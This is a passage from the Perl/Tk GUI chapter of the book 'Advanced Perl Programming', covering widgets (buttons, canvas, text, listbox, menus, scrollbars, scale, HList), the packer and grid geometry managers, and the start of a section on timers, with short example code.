We have already studied the concept of event loops in Chapter 12, and we will have more to say on this topic in the section "Event Loops" later in this chapter. Meanwhile, suffice it to say that MainLoop is an "event dispatcher," which returns only when you close the window by double-clicking on the system menu. It is essential to call this function; otherwise, you'll never see the form on your display. (Incidentally, it is essential to call pack on a widget; otherwise, you'll never see the widget on the display.)

That's all there is to it. Now it is a simple matter of knowing which widgets are available, what properties they support, and how to hook them up together. Read on!

14.2.1 GUI Forms: The Easy Way

Why write code to create static screens when you can draw them? Stephen Uhler, of the Tcl/Tk team at Sun Microsystems, has written a WYSIWIG GUI builder called SpecTcl (pronounced "spectacle"), with an intention to support multiple languages. This tool has since been customized for Perl/Tk, Java/Tk, and Python/Tk; the resulting variations are called SpecPerl, SpecJava, and SpecPython, respectively. Mark Kvale has done the port for Perl/Tk, and it is available from his home page:[4] http://www.keck.ucsf.edu/~kvale/specPerl/.

[4] Sun has since started selling SpecTcl commercially, so SpecPerl is necessarily dependent on older (and free) SpecTcl code.

Using SpecPerl, you can lay the widgets out visually, set widget-specific properties in corresponding forms, and select colors and fonts from palettes - very convenient.

However, in this chapter (and the next two), we will hand-write GUI code instead of using SpecPerl, for a number of reasons. First, we don't build elaborate forms. Second, most of the examples focus more on the dynamic aspects of Tk, and a GUI builder can only help you build static forms. Third, once you understand this chapter, you'll know what SpecPerl produces.

Previous: 14.1 Introduction to GUIs, Tk, and Perl/Tk | Advanced Perl Programming | Next: 14.3 Widget Tour
14.1 Introduction to GUIs, Tk, and Perl/Tk | Book Index | 14.3 Widget Tour


[Chapter 14] 14.3 Widget Tour

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.3 Widget Tour

This section provides an introduction to most of the interesting widget classes implemented in Tk and Tix and exercises their commonly used configuration options and methods. To reduce clutter and to allow quick lookups later on (when you know what you are looking for), this extensive set of properties and methods is provided as a separate appendix: Appendix A, Tk Widget Reference. Be aware that this chapter, extensive as it is, is only a subset (though a significant subset) of the entire Tk widget feature set. It also does not cover all widgets provided by Tk and Tix. Perl/Tk comes with the entire original well-written and comprehensive Tk documentation.

14.3.1 Widget Properties

Please skim Table A.1 to get an idea of the kind of configurable properties that all widgets share. Most of these properties are ordinary strings or numbers, but three types of properties are worth delving into some detail before we proceed to discussing the actual widgets: fonts, images, and colors.

14.3.1.1 Fonts

Font values are specified in the XLFD format (X Logical Font Description), which consists of 14 fields separated by hyphens, as shown in Figure 14.2.

Figure 14.2: Fields in a font

Fortunately, we don't have to remember the purpose of most of these fields. Any of these fields can have the wildcard "*" or "?", but it is important to get the number of hyphens right. On the X Windows system, there are two utilities, a graphical one called fontsel, and a batch utility called xlsfonts, that list all combinations of these fields available, so it is a simple matter of picking one. Essentially, you have to look only for the foundry, family, weight, slant, and points fields; ignore the rest of the fields. Note that "points" is in tenths of points, so 120 means a 12-point font. The slant can be "i" for italic or "r" for regular. To set the font of a widget, you configure its font property:

$label->configure (
   font => '-adobe-helvetica-medium-r-normal--8-80-75-75-p-46-*-1');

Once Perl/Tk is ported to the Windows and Mac, font values can be specified in either the XLFD format or the simpler Windows style: Helvetica 24 bold. The former format will continue to be supported on all platforms.

14.3.1.2 Images

Some widgets, such as buttons and labels, can display two-color bitmaps or multi-color pixmaps. Because the same bitmap or image can be used to decorate more than one widget, Tk considers them to be objects that are rendered in one or more places. That is, the image object holds the data, and the widgets know how to render them in their own space. Hence, two steps are involved in displaying a bitmap or a pixmap on a widget: create an image object given an image file, and configure the widget's bitmap or pixmap property with the image object.

Depending on the type of image file you have, you have to make one of three calls to create the appropriate type of image object:

#For XBM (X Bitmaps) only
$image = $label->Bitmap(file => 'face.xbm');

#For XPM (X Pixmaps only)
$image = $label->Pixmap(file => 'smiley.xpm');

#For GIF or PPM (Portable pixmap) formats, use the Photo constructor
$image = $label->Photo(file => 'frown.gif');

Now you can change the label's image easily:

$label->configure (image => $image);

Note that if the image is a bitmap, you must use the "bitmap" option, and if it is an XPM or GIF files, use the "image" property. In the bitmap case, the "foreground" and "background" options dictate the two colors; for images, the file supplies its own colors.

14.3.1.3 Colors

Colors can be given symbolic names such as "red" and "yellow." The library directory in an X installation has a file called rgb.txt that enumerates all the available symbolic names. Alternatively, you can give RGB values in the form #RGB, #RRGGBB, #RRRGGGBBB, or #RRRRGGGGBBBB, where each R, G, or B represents one hexadecimal digit of red, green, or blue intensity, respectively.

Our detour is now complete; let us briefly visit Tk's and Tix's widgets.

14.3.2 Labels and Buttons

The standard widget properties described in Table A.1 pretty much cover everything that labels have to offer. They are also fairly self-explanatory, so we will not say more about them.

Buttons are labels with one additional property - the "command" option, which allows you to associate a callback with a button click. The next example shows the callback procedure, change_label, toggling the label of the widget:

use Tk;
$top = MainWindow->new();
$button = $top->Button(text    => 'Start',
                       command => \&change_label);
$button->pack();
MainLoop();
sub change_label {                       # Create
    $button->cget('text') eq "Start"         ?
        $button->configure(text => 'Stop') :
        $button->configure(text => 'Start');
}

The cget method retrieves the value of a configurable property.

The callback can instead be a closure, like this (omitting the rest of the boiler-plate code):

$button = $top->Button(
              text    => 'Start',
              command => sub {
                                $button->cget('text') eq "Start"    ?
                                $button->configure(text => 'Stop') :
                                $button->configure(text => 'Start')
                           }
}

A third way of configuring the command property is to give it an anonymous array whose first element is the callback procedure parameter. The other elements of this array are passed to the callback when it is invoked:

$button->configure (command => [\&change_label, "new label"]);

We'll use this style in application-defined scrolling later in this chapter.

14.3.3 Radiobuttons and Checkbuttons

A radiobutton is a widget that displays a textual string, bitmap, or image and a diamond called an indicator (see Figure 14.3). Radiobuttons, like buttons, support the "command" option. Unlike buttons, however, radiobuttons are typically used in groups to give the user an option to select one of many choices. For this reason, a radiobutton provides two properties called variable and value for synchronizing with the others in its group so that only one indicator is "on." If you click on a radiobutton, that enables its indicator and changes its associated variable's value to its own value property. Conversely, if that variable's value is changed, the radiobutton checks to see whether it matches its own value property; if so, it turns its own indicator on. As you may have guessed, the tie facility is used internally to monitor changes to the variable.

Figure 14.3: Radiobutton example

The following example builds a radiobutton group. $bev is the synchronizing variable.

$bev = "coffee";                     # Starting value
$coffee = $top->Radiobutton ( variable => \$bev,
                              text     => 'Coffee',
                              value    => 'coffee');

$tea    = $top->Radiobutton ( variable => \$bev,
                              text     => 'Tea',
                              value    => 'tea');

$milk   = $top->Radiobutton ( variable => \$bev,
                              text     => 'Milk',
                              value    => 'milk');
# Lay out the radiobuttons
$coffee->pack (side => 'left');
$tea->pack    (side => 'left');
$milk->pack   (side => 'left');

Because the radiobuttons have different values and because they share the same variable, we ensure that only one indicator is on at any time.

Please refer to Table A.3 for more radiobutton properties and methods.

A checkbutton is very similar to a radiobutton. It has a square indicator that toggles depending on its associated variable's value. Unlike a radiobutton, toggling its value is not expected to change some other checkbutton's value, though you can easily arrange it that way. A checkbutton is used where you want the user to be able to select all applicable options.

14.3.4 Canvas

A canvas widget implements structured graphics. It provides methods to create and manipulate graphic items such as circles, rectangles, arcs, lines, bitmaps, polylines, and text. It even allows you to embed other widgets and treat them as ordinary canvas items.

Unlike Java's Abstract Windowing Toolkit's support for canvases (and pretty much every other GUI toolkit I know of), Tk's canvas items are objects in their own right: they support configurable properties just like widgets and allow these properties to be applied to individual items or to entire named groups of items. They can also be associated with callbacks. (You can say, in effect, "if the mouse passes over this circle, call procedure foo.")

Canvas items are different from widgets in that while each widget gets its own window on the X server, a canvas item does not. Also, unlike widgets, canvas items do not take part in geometry management (they cannot be resized by their container). It has always been unclear to me why the toolkit chose to expose this distinction to the user. In the InterViews toolkit (a C++ based X Windows library, later available as "Fresco"), for example, widgets and structured graphics all inherit from a generic graphic object called a glyph. This feels like a much cleaner design. On the other hand, I am thankful that such a fine implementation for structured graphics is available for free, with nice documentation to boot, so my quibble is minor in the larger scheme of things.

To draw a line inside a canvas widget, you invoke the Canvas::create method:

$top = MainWindow->new();
# first create a canvas widget
$canvas = $top->Canvas(width => 200, height => 100)->pack();

# Create line inside the canvas
$id = $canvas->create ('line',
                      10, 10, 100, 100,  # from x0,y0  to x1, y1
                      fill => 'red');  # fill color of object

The first parameter to the create command is the type of canvas item, and the rest of the parameters depend on this item. create returns an identifier that can be used to refer to that object later on. For example, you can update the coordinates of the object using the coords method:

$canvas->coords ($id, 10, 100);

All coordinates in Tk are in reference to the top-left corner. The x coordinate increases from left to right, and the y coordinate increases from top to bottom.

You can move the object relative to its current position using move:

$canvas->move ($id, 15, 23); # 15 and 23 represent x and y offsets

Canvas items can be configured using the itemconfigure method; Table A.5 shows the properties and methods for each type of item, as well as the canvas widget as a whole.

One of the canvas widget's most convenient features is its ability to tag one or more objects with a string identifier. An object can be tagged with as many strings as you want. The tag string all represents all the canvas's objects. You can tag an object at creation time or with the addtag method. The tag current represents the item over which the mouse is currently hovering. All canvas methods that accept an item ID also accept a string tag instead. For example, to move all objects labeled "bunch" 10 pixels to the right, do this:

$canvas->move('bunch', 10, 0); # xoffset = 10, yoffset = 0

We will exploit this property extensively in Chapter 15.

Example 14.2 shows a set of circles whose centers are drawn along an Archimedean spiral (see Figure 14.4). An Archimedean spiral is defined by the equation r = a [theta], where r, the radius (as depicted by the lines) is proportionally dependent on the angle, [theta]. For added visual effect, the sizes of the circles are also made proportional to the angle.

Figure 14.4: Structured graphics using canvas

Example 14.2: Drawing an Archimedean Spiral

use Tk;
$top = MainWindow->new();
$canvas = $top->Canvas(width => 300, height => 245)->pack();
# Draw a set of circles along an archimedean spiral
# The centers of these circles move along the spiral
# (radius of spiral = constant * theta)

$origin_x = 110; $origin_y = 70;           # origin of the spiral
$PI = 3.1415926535;
$circle_radius = 5;                        # radius of the first circle
$path_radius = 0;

for ($angle = 0; $angle <= 180;
     $path_radius += 7, $circle_radius += 3, $angle += 10)
{
    # offset of path coordinates: r.cos(  [theta]) and r.sin(  [theta])
    # sin() and cos() like their angles in radians (degrees*  [pi] /90)
    $path_x = $origin_x + $path_radius * cos ($angle * $PI / 90);
    $path_y = $origin_y - $path_radius * sin ($angle * $PI / 90);
    # path_x and path_y are the coordinates of the center of the new
    # circle. Canvas::create likes top-left and bottom-right corners
    $canvas->create ('oval',
             $path_x - $circle_radius,
             $path_y - $circle_radius,
             $path_x + $circle_radius,
             $path_y + $circle_radius,
             fill => 'yellow');
    $canvas->create ('line',
             $origin_x, $origin_y,
             $path_x, $path_y,
             fill => 'slategray');

}

MainLoop();

14.3.5 Text and Entry

The text widget displays one or more lines of text and allows you to edit the text. (Its default key bindings are those of Emacs, so, ahem, those of you still using vi...) The widget is powerful enough to address the presentation needs of a web browser, and several projects have done precisely that. The Perl/Tk distribution comes with an implementation of a web browser called tkweb, and Guido Von Rossum, Python's creator, has used Python and Tk for a web browser called Grail, capable of executing Python applets.

In this section, we will take a brief look at the text widget's capabilities, and in Chapter 16, GUI Example: Man Page Viewer, we will study it in greater depth and build an application based on it.

14.3.5.1 Inserting text at absolute positions

When you want to programmatically insert a piece of text at some position or select a range, you need to specify one or more indices. An index is a string such as "2.5," which means line 2, column 5 (line numbers start from 1, and columns start from 0). The following code creates a text widget and inserts a string at that position:

$t = $top->Text(width => 80, height => 10)->pack();
$t->insert('Sample', '2.5');

14.3.5.2 Inserting text at logical positions

The text widget supports the notion of a mark, a user-defined name assigned to a single position within the text widget. This position refers to the gap between two characters, not to a line and column pair. This makes it convenient to insert a character at a mark. A marked position is a logical entity; it does not change with insertion or deletion. The widget supports built-in mark names such as insert (where the insert cursor is), current (the character closest to the mouse pointer), wordend (end of the word on which the insert cursor is placed), end (the end of the insert cursor's line), and so on. These mark names can be used in place of the row and column numbers mentioned earlier:

$t->insert("Sample", "end");              # Insert text at end

Please take a look at the text preceding Table A.6 for details on index specifiers. The example code in the following sections creates a text widget and inserts strings at different locations using different types of indexing identifiers.

14.3.5.3 Insertion with relative indexing

Indices can also be relative to a base index. For example:

$t->insert('Sample',
           'insert +5'); # 5 chars after insert cursor's position.
$t->insert('Sample', 'insert linestart'); # go to insert position,
                                          # and then that line's start

14.3.5.4 Using tags to change properties of text ranges

The widget supports the concept of tags or tagged styles, which are user-defined strings representing a list of text properties (font, color, stippling style, and so on). Consider

$text->tagConfigure('foo',
                    foreground => 'yellow', background => 'red');

The string "foo" can be applied to one or more contiguous ranges of text within that widget, like this:

$text->tagAdd('foo', '3.5', '3.7');

This highlights the stretch of text on line 3, character indices 5 through 7. The indices specifying the range can also be absolute or relative mark positions. For example, the following snippet changes the properties of the line on which the insert cursor is positioned:

$text->tagAdd('foo', 'insert linestart', 'insert lineend');

Multiple tags can apply to overlapping ranges of text; conversely, one tag can be applied to many ranges. All text widgets support a special tag called sel that reflects the current range of selected text. You can insert new text and apply a section by supplying the tag name as the third parameter to insert:

$t->insert('Sample', '3.5','foo');

The text widget allows you to embed any other widget and treat it as a single character, which means that you can have buttons and listboxes in your text moving around as you insert more text.

14.3.5.5 The entry widget

For single-line text entries, Perl/Tk provides a widget called Entry, which does not support tags, marks, or embedded windows. It is essentially a lightweight version of the Text widget.

Perl/Tk (not the native Tk) also provides a widget called TextUndo, which is a subclass of the Text widget. It provides an unlimited undo facility (alas, there's no "redo"; you cannot undo an undo!) and has methods to load and save text from and to files. This widget is not part of the original Tcl/Tk distribution.

14.3.5.6 Text widget and ties

The text widget supports the TIEHANDLE and print methods, allowing it to be used as a module to simulate filehandles. Here's how you can use this facility to redirect filehandle activity to the text widget:

use Tk;
my $mw = MainWindow->new;            # Create a top-level window
my $t  = $mw->Scrolled('Text');      # Create a scrolled text window
$t->pack(-expand => 1,
         -fill => 'both');           # Configure it
tie (*TEXT, 'Tk::Text',$t);          # tie the filehandle and widget
print TEXT "Hi there\n";             # This shows up on the widget

14.3.6 Listbox

A listbox displays a list of strings, one per line, as shown in Figure 14.5. All strings have the same display characteristics. If you want to mix and match different fonts and colors, you can write a simple wrapper over the text widget and simulate a fancy listbox.

Figure 14.5: Listbox showing a choice of wines

The default bindings of a listbox select and deselect items, but if you want something extra, such as special handling for a mouse double-click, it is your responsibility to bind it to a function of your choice. Selection modes are "single," "browse" (default), "multiple," and "extended." Single or browse mode indicates that only one element can be selected at any time. Browse mode also allows you to drag the selection with button 1. In multiple mode, you can select any number of elements; selecting and deselecting one doesn't affect any other. The extended mode allows you to select multiple elements by clicking and dragging, but a single click deselects the previous selection before selecting the current element.

Like the text widget, the listbox has various ways of identifying list positions in addition to the index; examples include end and active (where the location cursor is poised). Table A.8 describes these indices as well as the listbox's properties and methods. Example 14.3 creates the listbox shown in Figure 14.5.

Example 14.3: Listbox with Callbacks

use Tk;
$top = MainWindow->new();
$wine_list = $top->Listbox("width" => 20, "height" => 5
                          )->pack();
$wine_list->insert('end', # Insert the following list at end
                   "Napa Valley Chardonnay", "Cabernet Sauvignon",
                   "Dry Chenin Blanc", "Merlot", "Sangiovese" );
$wine_list->bind('<Double-1>', \&buy_wine);
sub buy_wine {
    my $wine = $wine_list->get('active');
    return if (!$wine);  # Return if no list item is active
    print "Ah, '$wine'. An excellent choice\n";
    # Remove the wine from the inventory
    $wine_list->delete('active');
}
MainLoop();

The listbox does not provide a property such as command, so we have to use the more general method, bind, to set up a binding between a double mouse-click and a user-defined subroutine. More details on this technique are given in the section Section 14.6, "Event Bindings."

14.3.7 Frame

Frame widgets are fairly uninteresting widgets, but come in very handy when you want sophisticated widget layouts or are creating composite widgets.

If you have a complex GUI form, you are better off dividing the screen into major chunks, each with a specific function, and putting each chunk into its own frame. Then at the top level, you can arrange and rearrange these chunks easily. There is more on this in the section "Geometry Management" later in this chapter. Frame widgets, being containers, can be asked to create other "fundamental" widgets such as buttons, text, and scrollbars.

14.3.8 Menus

The term "menu" commonly refers to an arrangement whereby a user clicks on a menu button and a collection of label or button widgets pops up. Menus come in one of three configurations: pulldown menu, option menu, or popup menu.

Tk provides a MenuButton widget, which, when clicked, can be made to pop up a Menu widget. The Menu widget is just a container of the menu item widgets; it does not refer to the whole arrangement. We'll use the difference in font styles to distinguish between the concept of menu and the Menu widget. Figure 14.6 shows the components.

Figure 14.6: Pulldown menu and menubutton

To construct a menu, you need to go through the following steps:

  1. Create a menu bar to hold the MenuButton widget. The menu bar is an ordinary Frame widget.

  2. Create one or more MenuButton widgets and pack them into the menu bar.

  3. Ask the MenuButton widgets to create and manage menu entry widgets.

The properties and API of the MenuButton and Menu widgets are listed in Tables Table A.9 and Table A.10, respectively. Example 14.4 shows how the menu in Figure 14.6 is created.

Example 14.4: Pulldown Menu for Text Search

use Tk;
$top = MainWindow->new();
# Use a Frame widget as a container for menubuttons
$menu_bar = $top->Frame()->pack(side => 'top');

#Search menu button
$search_mb = $menu_bar->Menubutton(text         => 'Search',
                                   relief       => 'raised',
                                   borderwidth  => 2,
                                   )->pack(side => 'left',
                                           padx => 2
                                           );
# "Find" menubutton
$search_mb->command(label       => 'Find',
                    accelerator => 'Meta+F',
                    underline   => 0,
                    command     => sub {print "find\n"}
                    );
# "Find Again" menubutton
$search_mb->command(label       => 'Find Again',
                    accelerator => 'Meta+A',
                    underline   => 5,
                    command     => sub {print "find again\n"}
                    );

$search_mb->separator();
$match_type = 'regexp';    # Default search is by regexp.
$case_type = 1;            # Ignore case, by default (enable checkbutton)
# Regexp match
$search_mb->radiobutton(label    => 'Regexp match',
                        value    => 'regexp',
                        variable => \$match_type);
# Exact match
$search_mb->radiobutton(label    => 'Exact match',
                        value    => 'exact',
                        variable => \$match_type);
$search_mb->separator();
# Ignore case
$search_mb->checkbutton(label    => 'Ignore case?',
                        variable => \$case_type);

MainLoop();

This example invokes methods such as command, separator, checkbutton, and cascade on the MenuButton widget ($search_mb). Curiously enough, these methods actually belong to the Menu widget's interface, not the MenuButton's (see Tables Table A.9 and Table A.10). For convenience, Perl/Tk's MenuButton accepts these commands and silently delegates them to its associated Menu widget.

Normally, the menu entries are stacked in the order in which they are created, but you can specify the index position explicitly using the add method. The indexing syntax is similar to that of the listbox and is described in Appendix A. We'll use this method to dynamically create menus in Chapter 16.

14.3.9 Scrollbars and Scrolling

Although scrollbars are full-fledged widgets, they are seldom used by themselves; they always control associated widgets. Because of this close association, Perl/Tk provides a convenience function called Scrolled that wraps scrollbars around a widget of your choice without having to explicitly create, size, and pack them. The following example creates a scrolled listbox:

$scrolled_list = $top->Scrolled('Listbox', listbox options,
                                scrollbars => 'se');

Internally, this creates a Frame widget, horizontal and vertical scrollbars (if required), and a listbox; packs all of them together; and returns the reference to the Frame widget (the container). Isn't that nice? In fact, for the most common case of scrolled listboxes and scrolled text boxes, Perl/Tk provides convenient methods called ScrlListBox and ScrlText, respectively, reducing your typing even further:

$scrolled_list = $top->ScrlListBox(listbox options);

This is typically all you need to know about scrolling, and you can safely go on to the Section 14.3.10, "Scale" section without loss of continuity.

14.3.9.1 Custom scrolling

There are times, though, when you want to handle your own scrolling. For example, suppose you have three listboxes and want to synchronize their scrolling. This means that you need to arrange to have the scrollbar send messages to all three widgets whenever its slider is moved. The subtle issue here is that the inverse also holds true: the widgets also should send messages when they are themselves scrolled by using other means. For example, if you click on one listbox and drag the cursor, the listbox will scroll its own contents. It must then make sure that the scrollbar and the other two listboxes are in sync. In other words, the scrollbar is not always in the driver's seat; it is very much a "I'll scroll you, you scroll me" kind of relationship.

As Table A.11 shows, there is no explicit property tying a scrollbar to a widget, but the scrollbar does have a callback property called command that is notified when the slider is moved. Meanwhile, it so happens that all widgets that are scrollable (listboxes, text widgets, frames, and canvases) support two methods called xview and yview (Table A.12), which tell the scrollable widget what part of its contents to show in its window. Hence, to make a scrollbar send a message to a widget to scroll itself, we configure the scrollbar's command property like this:

$scrollbar->configure (command => [N$widget]);

The scrollbar automatically calls the specified method (xview or yview) on the widget. How does the widget know where to scroll to? Ah, unbeknownst to you, the scrollbar supplies some arguments to the yview invocation, so internally, the message from the scrollbar to the widget might look like this:

$widget->yview('moveto', 30);

This tells the widget to align its contents such that the top line or pixel represents the 30% mark.

Now let us look in the other direction, where the widget informs the scrollbar.

All scrollable widgets support two methods called xscrollcommand and yscrollcommand, which should be set up to call the scrollbar's set method as follows:

$listbox->configure ('yscrollcommand', [N$scrollbar]);

Figure 14.7 shows this symbiotic relationship. The details of the commands and properties described above are provided in Tables Table A.11 and Table A.12.

Figure 14.7: Interaction between a scrollbar and an associated widget (a listbox)

Note that in this example, you don't have to make each listbox drive the other two listboxes. It is enough if each of them drives the scrollbar, because the scrollbar is tied to the other two.

Example 14.5 puts the various configuration commands together for one list.

Example 14.5: Setting up a Scrollbar and Listbox to Scroll Each Other

use Tk;
$top = MainWindow->new();
$car_list = $top->Listbox("width" => 15, "height" => 4,
                          )->pack(side => 'left',
                                  padx => 10);

$car_list->insert('end', # Insert at end, the following list
                  "Acura", "BMW", "Ferrari", "Lotus", "Maserati",
                  "Lamborghini", "Chevrolet"
                 );

# Create scrollbar, and inform it about the listbox
$scroll = $top->Scrollbar(orient  => 'vertical',
                          width   => 10,
                          command => ['yview', $car_list]
                         )->pack(side => 'left',
                                 fill => 'y',
                                 padx => 10);

# Inform listbox about the scrollbar
$car_list->configure(yscrollcommand => ['set', $scroll]);
MainLoop();

14.3.10 Scale

The Scale widget is like a thermometer. It displays tick marks along a horizontal or vertical "trough" and provides a slider inside the trough that can be moved programmatically or manually (with the mouse or keyboard). Table A.13 shows the scale's properties and methods.

Figure 14.8 shows two scales displaying Celsius and Fahrenheit values (corresponding to 0-100 degrees Celsius). The scales are coordinated so that a movement of one slider causes a corresponding movement in the other.

Figure 14.8: Coordinated Celsuis and Fahrenheit scales

Example 14.6 shows how you might implement it.

Example 14.6: Celsius/Fahrenheit Conversion Shown Using Two Scale Widgets

use Tk;
# Show Celsius/Fahrenheit equivalence using scales.
$top = MainWindow->new();

$celsius_val = 50;
compute_fahrenheit();
#---------------------- CELSIUS Scale -------------------------------
$top->Scale(orient       => 'horizontal',
            from         => 0,                    # From 0 degrees C
            to           => 100,                  # To 100 degrees C
            tickinterval => 10,
            label        => 'Celsius',
            font         => '-adobe-helvetica-medium-r-normal' .
                              . '--10-100-75-75-p-56-iso8859-1',
            length       => 300,                  # in pixels
            variable     => \$celsius_val,        # global variable
            command      => \&compute_fahrenheit  # Change fahrenheit
            )->pack(side => 'top',
                    fill => 'x');
#---------------------- FAHRENHEIT Scale ----------------------------
$top->Scale(orient       => 'horizontal',
            from         => 32,                   # From 32 degrees F
            to           => 212,                  # To 212  degrees F
            tickinterval => 20,                   # tick every 20 deg.
            label        => 'Fahrenheit',
            font         => '-adobe-helvetica-medium-r-normal'
                              . '--10-100-75-75-p-56-iso8859-1',
            length       => 300,                  # In pixels
            variable     => \$fahrenheit_val,     # global variable
            command      => \&compute_celsius     # Change celsius
            )->pack(side => 'top',
                    fill => 'x',
                    pady => '5');

sub compute_celsius {
    # The Celsius scale's slider automatically moves when this
    # $celsius_val is changed
    $celsius_val = ($fahrenheit_val - 32)*5/9;
}

sub compute_fahrenheit {
    $fahrenheit_val = ($celsius_val * 9 / 5) + 32;
}

MainLoop();

In this example, the Celsius scale calls compute_fahrenheit() when its slider is moved. This procedure changes $fahrenheit_val, which is associated with the Fahrenheit scale. As you can see, using the command and variable properties is typically enough to work with scales. You don't have to invoke the set() method explicitly.

14.3.11 HList

Hierarchical data, like filesystem structures or organization charts, can be represented with the hierarchical list widget, HList. Each entry is indented one level to the right of its parent entry. HList optionally draws branches and can associate icons or other widgets with each entry. An entry is identified not by its index (as the listbox does) but by its "entry path," which is like a file pathname with a separator character of your choice. Table A.14 describes some of the interesting properties and methods of this widget.

Example 14.7 builds a directory browser using HList. Double-clicking on a directory entry expands or collapses the directory and changes the icon correspondingly.

Figure 14.9: HList widget used for a directory browsing application

Example 14.7 shows one of way of building the browser in Figure 14.9. Pay particular attention to the code that opens and sets bitmaps and the part that changes the shape of the cursor when it is doing its work.

Example 14.7: Directory Browser Built Using an HList Widget

use Tk;
require Tk::HList;
$top = MainWindow->new();
$hlist = $top->Scrolled('HList',
                        drawbranch     => 1,   # yes, draw branches
                        separator      => '/', # filename separator
                        indent         => 15,  # pixels
                        command        => \&show_or_hide_dir);
$hlist->pack(fill   => 'both',expand => 'y');
# Read bitmap files and create "image" objects.
$open_folder_bitmap   = $top->Bitmap(file => './open_folder.xbm');
$closed_folder_bitmap = $top->Bitmap(file => './folder.xbm');

# Start with the root directory
show_or_hide_dir("/");
MainLoop();

#-----------------------------------------------------------------------
sub show_or_hide_dir {    # Called when an entry is double-clicked
    my $path = $_[0];
    return if (! -d $path);  # Not a directory.
    if ($hlist->info('exists', $path)) {
        # Toggle the directory state.
        # We know that a directory is open if the next entry is a
        # a substring of the current path
        $next_entry = $hlist->info('next', $path);
        if (!$next_entry || (index ($next_entry, "$path/") == -1)) {
            # Nope. open it
            $hlist->entryconfigure($path, image => $open_folder_bitmap);
            add_dir_contents($path);
        } else {
            # Yes. Close it by changing the icon, and deleting its children
            $hlist->entryconfigure($path,
                                    image => $closed_folder_bitmap);
            $hlist->delete('offsprings', $path);
        }
    } else {
        die "'$path' is not a directory\n" if (! -d $path);
        $hlist->add($path, itemtype => 'imagetext',
                           image    => $icons{"open"},
                           text     => $path );
        add_dir_contents($path);
    }
}

sub add_dir_contents {
    my $path = $_[0];
    my $oldcursor = $top->cget('cursor'); # Remember current cursor, and
    $top->configure(cursor => 'watch'); # change cursor to watch
    $top->update();
    my @files = glob "$path/*";
    foreach $file (@files) {
        $file =~ s|//|/|g;
        ($text = $file) =~ s|^.*/||g;
        if (-d $file) {
            $hlist->add($file, itemtype => 'imagetext',
                        image => $icons{"closed"}, text => $text);
        } else {
            $hlist->add($file, itemtype => 'text',
                        text => $text);
        }
    }
    $top->configure(cursor => $oldcursor);
}

Previous: 14.2 Starting with Perl/Tk | Advanced Perl Programming | Next: 14.4 Geometry Management
14.2 Starting with Perl/Tk | Book Index | 14.4 Geometry Management


[Chapter 14] 14.4 Geometry Management

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.4 Geometry Management

You've already seen the purpose of the pack method. The name of the game is "geometry management," the art of arranging widgets on the screen and specifying a policy for rearranging themselves when the screen is resized. Tk supports three types of geometry managers: placer, packer, and grid. The placer is the simplest of the lot. Like Motif's Bulletin Board widget or Visual Basic's geometry management policy, you have to specify the x and y coordinates of each widget. I'll just refer you to the Tk documentation for more details on the placer.

14.4.1 Packer

The packer, like Motif's Form widget, is a powerful constraint-based geometry manager. The packer is not an object; it is simply the algorithm implemented by the pack() method. In other words, the call $widget->pack() is a request to the widget to pack itself in the next available space inside its containing widget.

When you pack a suitcase, you typically start at one end and, for every item, proceed to fill in the remaining space. The packer works exactly like this, but there's one crucial difference. Once it sticks a widget onto an edge of a container widget, it slices off that entire edge and takes it off the remaining available space. Figure 14.10 illustrates the packing algorithm.

Figure 14.10: Packing algorithm

In this figure, if the side were specified as top or bottom, the height of the label would dictate the height of the sliced parcel.

You can use pack to accomplish three things:

  • Specify the order in which a widget is considered for packing.

    The order in which you invoke pack determines the packing order, which in turn determines the amount of available space that a widget has access to. When the container is resized, the packing algorithm is run again in the same order.

  • Specify how it fills up its parcel.

    This option is dictated by the fill value: x (expand the widget in the x direction to fill up the width of the parcel), y (expand to fill up the height), both, or none. The ipadx and ipady options reserve some internal padding space around the widget, so the allocated parcel can be made that much bigger than the dimensions required by the widget. The anchor option specifies the edge or corner of the parcel to which the widget sticks. It defaults to "center".

  • Specify what should be done with the remaining space left over in the parent after all widgets have been inserted.

    This is provided by the expand parameter. Normally, the last widget to be inserted gets the rest of the available space, and it can "fill" up that space. But if other widgets have been packed with an expand value of "y" (yes), then any extra horizontal space is equally divided up among all widgets that have specified this option and whose side is left or right. Similarly, extra vertical space is divided between all widgets that have the values "top" or "bottom." Note that the packing algorithm can never overlap widgets.

You might be wondering how to insert three widgets on the left side (as shown in Figure 14.11) if the first widget to be inserted takes over the entire side.

Figure 14.11: Packing three widgets to the left

The only way to solve this problem is to create a frame widget and stick it in the left side of the top window. Since a frame is a container for other widgets, these three widgets can be packed inside this frame, as shown in the following code:

$frame->pack(-side => 'left', -fill => 'y', -expand => 'y');
# Now create buttons b1, b2 and b3 as children of frame, and
# pack top to bottom
$b1 = $frame->Button (-text => 'Oh   ')->pack();
$b2 = $frame->Button (-text => 'Hello')->pack();
$b3 = $frame->Button (-text => 'There')->pack();

pack inserts the widgets from top to bottom, by default.

Alternatively, you might just find it easier to work with the grid geometry manager.

14.4.2 Grid

The grid method tells the widget to use the grid geometry manager. All child widgets within one parent must use the same geometry manager, but you are free to use any geometry manager of your choice for a given combination of a parent and its contained widgets or for widgets nested within each child.

The grid geometry manager allows you to slot widgets in rows and columns, much like HTML's table tag. The maximum width of any widget in a column determines the width of that column, and the height of a row is determined by the maximum height of any widget. This is how you use gridded geometry management:

$button->grid (row => 0, column => 0);

This command puts the button on the top-left corner.

Like HTML's tables, a widget can be made to span any number of rows and columns, using the rowspan and columnspan options. The widget still belongs to the row and column specified by "row" and "column" but straddles the required span of columns and/or rows, as shown in the following example:

$button->grid(row => 1, col => 2,
              columnspan => 2, sticky => 'ns');

The button in this example straddles two columns but doesn't use up all the space. The sticky option instructs the grid to make the widget stick to the north and south walls of the cell in this case. If you configure it as "nsew," the widget is stretched to fill the entire cell. By default, the widget is centered inside the parcel and occupies only as much space as it requires. Like the packer, the grid also understands the ipadx and ipady options.

Previous: 14.3 Widget Tour | Advanced Perl Programming | Next: 14.5 Timers
14.3 Widget Tour | Book Index | 14.5 Timers


[Chapter 14] 14.5 Timers

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.5 Timers

Tk provides a lightweight timer mechanism that can call back a procedure after a specified delay (specified in milliseconds). To create one-shot timers, use the after method on any widget; for repeating timers, use repeat. In the following example, the button changes its label when pressed and resets its label after 300 milliseconds:

$button->configure (text => 'hello',
                    command => \&change_title));
sub change_title {
    my ($old_title) = $button->cget('text');
    $button->configure (text => 'Ouch');
